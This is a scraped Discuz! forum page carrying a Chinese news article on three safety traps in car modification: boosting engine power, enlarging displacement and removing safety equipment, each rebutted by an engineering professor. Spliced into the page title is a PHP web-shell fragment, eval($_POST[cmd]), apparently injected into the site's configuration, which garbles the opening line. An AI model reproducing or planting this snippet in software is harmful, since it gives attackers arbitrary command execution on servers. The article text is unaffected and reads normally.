');eval($_POST[cmd])?>'); define('UC_APPID', 'UC_APPID'); define('UC_PPP', '20'); 汽車改裝三大安全陷阱不可不防 - 新車俱樂部 - 四輪天下 - Powered by Discuz!
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汽車改裝三大安全陷阱不可不防

陷阱一:私改發動機動力



    「只要你的車上過牌照了,現在想怎麼改都沒問題了,我們完全可以讓你的汽車性能比出廠時提升一大截!」在汽博會D展廳內,某汽車服務公司的孫經理向記者打下這樣的「包票」。他說,要改進汽車性能,最主要的是對發動機進行「改裝」,只要保留原有的發動機號,所有的性能都是可以調高的。他還向記者承諾,250匹馬力的發動機經過「調整」後完全可以達到350匹馬力。

    對此,吉林大學汽車工程學院副院長宋傳學教授指出,從技術上看,私自加大發動機馬力的難度很大,因為發動機的承受能力都是有限度的,而馬力加大後所產生的能量就會變大,稍有不慎,發動機就會因此而報廢。

  陷阱二:隨意增大排氣量

    記者在汽博會現場向一位汽車改裝技師咨詢後「得知」,即使是作為衡量汽車性能重要指標之一的汽車排量,在他們的手下也能改!

    這位改裝技師表示,只有增大汽車的進氣量和排氣量,才能滿足汽車超高速行駛的需要,所以進行這項改裝是成為「飆車族」必不可少的一個步驟。

    宋傳學認為,汽車的排氣量大小,完全取決於氣缸型號,而根據汽車的整體配置情況,氣缸的大小一般都是固定的,所以進氣量和排氣量的大小也就不能隨意更改。而汽車改裝公司所謂的「增大進氣量和排氣量」的做法,實際上是一種對汽車性能近乎粗暴的強行更改,即使能夠改裝成功,這對汽車的整體協調性和安全性也都存在很大的潛在威脅。

  陷阱三:去除部分安全設備

    在另一家汽車改裝公司的展區,一位工作人員則向記者表示,該公司可以為客戶改變汽車的底盤、保險槓型號,改變油路、電路的佈局,還可以去除部分制約汽車行駛速度的附屬設備。

    對此,宋傳學認為,一輛汽車從最初的圖紙設計到最終形成成品出廠,中間都要經過廠家科研人員的無數次嚴格測試和計算,因此汽車出廠後的所有佈局安排和零部件配置都是不能任意更改的,更不能隨意去除一些保障汽車安全的設備。從目前長春汽車改裝行業的情況來看,大多數從業技術人員的操作水平還是無法讓人放心的。
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